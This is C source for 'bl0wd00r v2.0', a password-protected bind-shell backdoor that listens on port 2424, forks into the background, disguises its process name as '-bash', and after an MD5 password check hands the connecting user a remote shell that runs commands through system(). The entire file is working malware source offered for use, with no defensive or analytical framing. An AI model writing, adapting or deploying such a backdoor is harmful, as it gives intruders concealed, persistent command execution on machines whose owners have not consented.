/***************************************************
 * bl0wd00r v2.0 coded by bl0w (full version)
 * #offset @ BRASNet
 ***************************************************/


#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>

#define port	2424 // port to listen
#define term 	"/bin/sh" // program to run
#define logs	"/dev/null" // dir of logs
#define pass	"61c8ec8adff5d92791f1b9308d7bef9f" // password encrypted with md5sum
#define proc	"-bash" // hidden syntax

// thx for idea JNAX.C =)
#define GETS(esp) gets(esp); esp[strlen(esp) -1] = '\0';

#define B 1024

char a[36];

static void bala(const char *b, int dodnet2) { if (!strcmp(b, "exit")) { exit(0); } if (!strncmp(b, "cd ", 3)) { if (chdir(b +3) < 0) perror("chdir"); return ; } else { system(b); } }

// retirado da md5 -inicio
mdpass(char *aa)
{
	FILE *temp;
	char mps[1024];

	snprintf(mps, 1024, "/bin/echo -n %s|/usr/bin/md5sum", aa);
	temp = popen(mps, "r");
	memset(a, 0, 36);
	fread(a, 32, 1, temp);
	fclose(temp);
	return a;
}
// -fim

int main (int argc, char *argv[]) {

	int dodnet, dodnet2, size;
	struct sockaddr_in local;
	struct sockaddr_in remote;
	char cmd[256];

	strcpy (argv[0], proc);
	signal (SIGCHLD, SIG_IGN);

	bzero (&local, sizeof(local));
	local.sin_family = AF_INET;
	local.sin_port = htons (port);
	local.sin_addr.s_addr = INADDR_ANY;
	bzero (&(local.sin_zero), 8);

	if ((dodnet = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); }
	if (bind (dodnet, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); }
	if (listen(dodnet, 5) == -1) { perror("listen"); exit(1); }

	size = sizeof(struct sockaddr_in);

	forkpid();

	while (1) {
		if ((dodnet2 = accept (dodnet, (struct sockaddr *)&remote, &size)) == -1) { perror ("accept"); exit(1); }
		if (!fork ()) {

			char check[15], username[15];
			int i;

			send (dodnet2, "username: ", sizeof("username: "), 0);
			recv (dodnet2, username, sizeof(username), 0);

			send (dodnet2, "password: ", sizeof("password: "), 0);
			recv (dodnet2, check, sizeof(check), 0);

			for (i = 0; i < strlen (check); i++) {
				if (check[i] == '\n' || check[i] == '\r') {
					check[i] = '\0';
				}
	        	}
			for (i = 0; i < strlen (username); i++) {
				if (username[i] == '\n' || username[i] == '\r') {
					username[i] = '\0';
				}
			}


			if (strncmp(mdpass(check), pass,32) != 0) { fuckoff(dodnet2, check, username); }
			else { getshell(dodnet2, username, dodnet); }
		}
		else { signal (SIGCHLD, SIG_IGN); close(dodnet2); }
	}
	close (dodnet2);
	exit(0);
}

forkpid() {
	int pid;
	signal(SIGCHLD,SIG_IGN);
	pid = fork();
	if(pid>0) {
		sleep(1);
		exit(EXIT_SUCCESS);
	}
	if(pid == 0) {
		signal(SIGCHLD,SIG_DFL);
		return getpid();
	}
	return -1;
}

fuckoff(int dodnet2, char *tentou, char *identifica) { 
	FILE *aa;
	char a[B];

	signal(SIGCHLD,SIG_IGN);

	aa=fopen(logs,"a+");
	sprintf(a,"date>>%s",logs);
	system(a);

	fprintf(aa,"IDENTIFICOU-SE COMO:		%s",identifica);
	fprintf(aa,"\nOCORRIDO:			SENHA INCORRETA\n");
	fprintf(aa,"TENTATIVA DE SENHA:		%s",tentou);
	fprintf(aa,"\n-----------------------\n");

	fclose(aa);
	close (dodnet2);
	exit(0);
}


getshell(int dodnet2, char *identifica) {
        FILE *aa;
        char a[B];
	char b[BUFSIZ];

        aa=fopen(logs,"a+");
        sprintf(a,"date>>%s",logs);
        system(a);

        fprintf(aa,"IDENTIFICOU-SE COMO:                %s",identifica);
        fprintf(aa,"\nOCORRIDO:  	               ACESSO CONCEDIDO\n");
        fprintf(aa,"\n-----------------------\n");

        fclose(aa);

	close(0);
	close(1);
	close(2);

	dup2 (dodnet2, 0);
	dup2(dodnet2, 1);
	dup2(dodnet2, 2);

	for(;;) {
		printf("bash# ");
		GETS(b);
		bala(b,dodnet2);
		fflush(stdout);
	}
}